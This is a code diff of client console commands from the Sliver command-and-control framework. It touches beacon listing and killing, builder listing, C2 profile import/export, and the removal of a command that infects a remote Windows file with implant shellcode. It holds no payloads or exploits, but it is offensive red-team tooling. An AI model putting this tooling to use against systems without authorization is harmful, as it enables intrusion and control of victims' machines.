session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
-38
View File
@@ -1,38 +0,0 @@
package backdoor
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
backdoorCmd := &cobra.Command{
Use: consts.BackdoorStr,
Short: "Infect a remote file with a sliver shellcode",
Long: help.GetHelpFor([]string{consts.BackdoorStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
Run: func(cmd *cobra.Command, args []string) {
BackdoorCmd(cmd, con, args)
},
}
flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) {
f.StringP("profile", "p", "", "profile to use for service binary")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) {
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor"))
return []*cobra.Command{backdoorCmd}
}
+3 -13
View File
@@ -1,14 +1,4 @@
# client/command/beacons Beacons
========
## Overview This package implements the beacons command, which can be used to list and interact with beacons.
Implements the 'beacons' command group for the Sliver client console. Handlers map Cobra invocations to beacons workflows such as prune, RM, and watch.
## Go Files
- `beacons.go` – Retrieves beacon inventories and renders them in tabular form with optional filtering.
- `commands.go` – Declares the beacons command set, binds flags/completions, and wires subcommands like prune, rm, and watch.
- `helpers.go` – Provides helper RPC wrappers for selecting, fetching, and listing beacons.
- `prune.go` – Implements the prune routine that removes stale beacon entries via the backend API.
- `rm.go` – Removes a specific beacon by ID, coordinating confirmation and RPC teardown.
- `watch.go` – Streams beacon events in a watch loop, handling cancellation and console interaction.
+34 -83
View File
@@ -36,10 +36,9 @@ import (
) )
// BeaconsCmd - Display/interact with beacons // BeaconsCmd - Display/interact with beacons
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
killFlag, _ := cmd.Flags().GetString("kill") killFlag, _ := cmd.Flags().GetString("kill")
killAll, _ := cmd.Flags().GetBool("kill-all") killAll, _ := cmd.Flags().GetBool("kill-all")
interact, _ := cmd.Flags().GetString("interact")
// Handle kill // Handle kill
if killFlag != "" { if killFlag != "" {
@@ -73,18 +72,6 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID) con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
} }
} }
if interact != "" {
beacon, err := GetBeacon(con, interact)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, strings.Split(beacon.ID, "-")[0])
return
}
filter, _ := cmd.Flags().GetString("filter") filter, _ := cmd.Flags().GetString("filter")
var filterRegex *regexp.Regexp var filterRegex *regexp.Regexp
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" { if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
@@ -107,7 +94,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// PrintBeacons - Display a list of beacons // PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 { if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n") con.PrintInfof("No beacons 🙁\n")
return return
@@ -116,7 +103,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
} }
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer { func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0) width, _, err := term.GetSize(0)
if err != nil { if err != nil {
width = 999 width = 999
@@ -125,45 +112,20 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width wideTermWidth := con.Settings.SmallTermWidth < width
windowsBeaconInList := false
for _, beacon := range beacons {
if beacon.OS == "windows" {
windowsBeaconInList = true
}
}
if wideTermWidth { if wideTermWidth {
if windowsBeaconInList { tw.AppendHeader(table.Row{
tw.AppendHeader(table.Row{ "ID",
"ID", "Name",
"Name", "Tasks",
"Tasks", "Transport",
"Transport", "Remote Address",
"Remote Address", "Hostname",
"Hostname", "Username",
"Username", "Operating System",
"Process (PID)", "Locale",
"Integrity", "Last Check-in",
"Operating System", "Next Check-in",
"Locale", })
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
}
} else { } else {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"ID", "ID",
@@ -178,13 +140,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
} }
for _, beacon := range beacons { for _, beacon := range beacons {
style := console.StyleNormal color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon() activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID { if activeBeacon != nil && activeBeacon.ID == beacon.ID {
style = console.StyleGreen color = console.Green
}
if beacon.Integrity == "" {
beacon.Integrity = "-"
} }
// We need a slice of strings so we can apply filters // We need a slice of strings so we can apply filters
@@ -192,34 +151,26 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
if wideTermWidth { if wideTermWidth {
rowEntries = []string{ rowEntries = []string{
style.Render(strings.Split(beacon.ID, "-")[0]), fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name), fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)), fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
style.Render(beacon.Transport), fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
style.Render(beacon.RemoteAddress), fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
style.Render(beacon.Hostname), fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")), fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)), fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
} fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
if windowsBeaconInList {
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
}
rowEntries = append(rowEntries, []string{
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
style.Render(beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}...) }
} else { } else {
rowEntries = []string{ rowEntries = []string{
style.Render(strings.Split(beacon.ID, "-")[0]), fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name), fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
style.Render(beacon.Transport), fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
style.Render(beacon.Hostname), fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")), fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)), fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
} }
-157
View File
@@ -1,157 +0,0 @@
package beacons
import (
"context"
"fmt"
"strings"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
beaconsCmd := &cobra.Command{
Use: consts.BeaconsStr,
Short: "Manage beacons",
Long: help.GetHelpFor([]string{consts.BeaconsStr}),
GroupID: consts.SliverHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
BeaconsCmd(cmd, con, args)
},
}
flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
f.StringP("kill", "k", "", "kill the designated beacon")
f.BoolP("kill-all", "K", false, "kill all beacons")
f.StringP("interact", "i", "", "interact with a beacon")
f.BoolP("force", "F", false, "force killing the beacon")
f.StringP("filter", "f", "", "filter beacons by substring")
f.StringP("filter-re", "e", "", "filter beacons by regular expression")
})
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
(*comp)["kill"] = BeaconIDCompleter(con)
(*comp)["interact"] = BeaconIDCompleter(con)
})
registerBeaconIDFlagCompletion(beaconsCmd, "interact", con)
beaconsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a beacon",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsRmCmd(cmd, con, args)
},
}
carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con))
beaconsCmd.AddCommand(beaconsRmCmd)
beaconsWatchCmd := &cobra.Command{
Use: consts.WatchStr,
Short: "Watch your beacons",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsWatchCmd(cmd, con, args)
},
}
beaconsCmd.AddCommand(beaconsWatchCmd)
beaconsPruneCmd := &cobra.Command{
Use: consts.PruneStr,
Short: "Prune stale beacons automatically",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsPruneCmd(cmd, con, args)
},
}
flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) {
f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin")
})
beaconsCmd.AddCommand(beaconsPruneCmd)
return []*cobra.Command{beaconsCmd}
}
// BeaconIDCompleter completes beacon IDs
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
callback := func(_ carapace.Context) carapace.Action {
return carapace.ActionValuesDescribed(beaconCompletionPairs(con)...).Tag("beacons")
}
return carapace.ActionCallback(callback)
}
func registerBeaconIDFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
values := describedValuesToTabs(beaconCompletionPairs(con))
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
})
}
func beaconCompletionPairs(con *console.SliverClient) []string {
results := make([]string, 0)
if con == nil || con.Rpc == nil {
return results
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return results
}
for _, b := range beacons.Beacons {
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
desc := strings.Join([]string{id, userHost, link}, " ")
results = append(results, b.ID[:8], desc)
}
return results
}
func describedValuesToTabs(values []string) []string {
tabbed := make([]string, 0, len(values)/2)
for i := 0; i+1 < len(values); i += 2 {
tabbed = append(tabbed, fmt.Sprintf("%s\t%s", values[i], values[i+1]))
}
return tabbed
}
func filterCompletionValues(values []string, prefix string) []string {
if prefix == "" {
return values
}
filtered := make([]string, 0, len(values))
for _, value := range values {
candidate := value
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
candidate = value[:tab]
}
if strings.HasPrefix(candidate, prefix) {
filtered = append(filtered, value)
}
}
return filtered
}
+10 -5
View File
@@ -26,8 +26,9 @@ import (
"strings" "strings"
"text/tabwriter" "text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
) )
@@ -42,7 +43,7 @@ var (
) )
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
@@ -82,8 +83,12 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
options := strings.Split(outputBuf.String(), "\n") options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := "" selected := ""
_ = forms.Select("Select a beacon:", options, &selected) survey.AskOne(prompt, &selected)
if selected == "" { if selected == "" {
return nil, ErrNoSelection return nil, ErrNoSelection
} }
@@ -97,7 +102,7 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
return nil, ErrNoSelection return nil, ErrNoSelection
} }
func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) { func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
@@ -115,7 +120,7 @@ func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, er
return nil, ErrBeaconNotFound return nil, ErrBeaconNotFound
} }
func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+4 -3
View File
@@ -21,16 +21,16 @@ package beacons
import ( import (
"time" "time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
) )
// BeaconsPruneCmd - Prune stale beacons automatically // BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
duration, _ := cmd.Flags().GetString("duration") duration, _ := cmd.Flags().GetString("duration")
pruneDuration, err := time.ParseDuration(duration) pruneDuration, err := time.ParseDuration(duration)
if err != nil { if err != nil {
@@ -71,7 +71,8 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
con.Println() con.Println()
confirm := false confirm := false
_ = forms.Confirm("Prune these beacons?", &confirm) prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm { if !confirm {
return return
} }
+1 -1
View File
@@ -25,7 +25,7 @@ import (
) )
// BeaconsRmCmd - Display/interact with beacons // BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
beacon, err := SelectBeacon(con) beacon, err := SelectBeacon(con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -31,7 +31,7 @@ import (
) )
// BeaconsWatchCmd - Watch your beacons in real-ish time // BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
done := waitForInput() done := waitForInput()
defer func() { defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1) con.Printf(console.UpN+console.Clearln+"\r", 1)
-10
View File
@@ -1,10 +0,0 @@
# client/command/builders
## Overview
Implements the 'builders' command group for the Sliver client console.
## Go Files
- `builders.go` – Fetches external builder metadata and formats it for console display.
- `commands.go` – Registers the builders CLI command with its flags and completion helpers.
+6 -5
View File
@@ -23,16 +23,17 @@ import (
"fmt" "fmt"
"strings" "strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
) )
// BuildersCmd - List external builders. // BuildersCmd - List external builders
func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s", err) con.PrintErrorf("%s", err)
@@ -45,7 +46,7 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
-28
View File
@@ -1,28 +0,0 @@
package builders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
buildersCmd := &cobra.Command{
Use: consts.BuildersStr,
Short: "List external builders",
Long: help.GetHelpFor([]string{consts.BuildersStr}),
Run: func(cmd *cobra.Command, args []string) {
BuildersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
return []*cobra.Command{buildersCmd}
}
-10
View File
@@ -1,10 +0,0 @@
# client/command/c2profiles
## Overview
Implements the 'c2profiles' command group for the Sliver client console. Handlers map Cobra invocations to c2profiles workflows such as C2 profiles.
## Go Files
- `c2profiles.go` – Implements listing, import/export, and generation routines for HTTP C2 profiles, including protobuf/JSON conversion helpers.
- `commands.go` – Binds the c2profiles command suite with flag handling and completions for profile management operations.
+165 -354
View File
@@ -21,15 +21,11 @@ package c2profiles
import ( import (
"context" "context"
"encoding/json" "encoding/json"
"errors"
"fmt"
"io" "io"
"net/url"
"os" "os"
"path"
"path/filepath"
"strings" "strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"golang.org/x/exp/slices" "golang.org/x/exp/slices"
@@ -38,17 +34,12 @@ import (
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
) )
var (
ErrNoSelection = errors.New("no selection")
)
// C2ProfileCmd list available http profiles // C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name") profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile { if profileName == constants.DefaultC2Profile {
@@ -58,11 +49,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return return
} }
if len(httpC2Profiles.Configs) != 1 { if len(httpC2Profiles.Configs) != 1 {
profileName, err = selectC2Profile(httpC2Profiles.Configs) profileName = selectC2Profile(httpC2Profiles.Configs)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} }
} }
@@ -74,7 +61,8 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
PrintC2Profiles(profile, con) PrintC2Profiles(profile, con)
} }
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name") profileName, _ := cmd.Flags().GetString("name")
if profileName == "" { if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n") con.PrintErrorf("Invalid c2 profile name\n")
@@ -110,216 +98,29 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return return
} }
} confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { survey.AskOne(prompt, &confirm)
if confirm {
filepath, _ := cmd.Flags().GetString("file") var restartJobReq clientpb.RestartJobReq
if filepath == "" { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
con.PrintErrorf("Missing file path\n")
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName, err = selectC2Profile(httpC2Profiles.Configs)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
jsonProfile, err := json.Marshal(config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(filepath, jsonProfile, 0644)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println(profileName, "C2 profile exported to ", filepath)
}
func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// load template to use as starting point
template, err := cmd.Flags().GetString("template")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// read urls files and replace segments
filepath, err := cmd.Flags().GetString("file")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
urlsFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fileContent, err := io.ReadAll(urlsFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
urls := strings.Split(string(fileContent), "\n")
jsonProfile, err := updateC2Profile(config, urls)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// save or display config
importC2Profile, err := cmd.Flags().GetBool("import")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if importC2Profile {
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return return
} }
con.Println("C2 profile generated and saved as ", profileName) // reload jobs to include new profile
} else { for _, job := range jobs.Active {
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con) if job != nil && slices.Contains(protocols, job.Name) {
} restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
} }
}
// convert protobuf to json _, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) { if err != nil {
implantConfig := assets.HTTPC2ImplantConfig{ con.PrintErrorf("%s\n", err)
UserAgent: profile.ImplantConfig.UserAgent, return
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
NonceMode: profile.ImplantConfig.NonceMode,
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
MinFileGen: int(profile.ImplantConfig.MinFileGen),
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
MinPathGen: int(profile.ImplantConfig.MinFileGen),
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
MinPathLength: int(profile.ImplantConfig.MinPathLength),
Extensions: profile.ImplantConfig.Extensions,
}
var headers []assets.NameValueProbability
for _, header := range profile.ImplantConfig.Headers {
headers = append(headers, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
implantConfig.Headers = headers
var urlParameters []assets.NameValueProbability
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
urlParameters = append(urlParameters, assets.NameValueProbability{
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int(urlParameter.Probability),
})
}
implantConfig.URLParameters = urlParameters
var (
files []string
paths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
files = append(files, pathSegment.Value)
} else {
paths = append(paths, pathSegment.Value)
} }
} }
implantConfig.Files = files
implantConfig.Paths = paths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
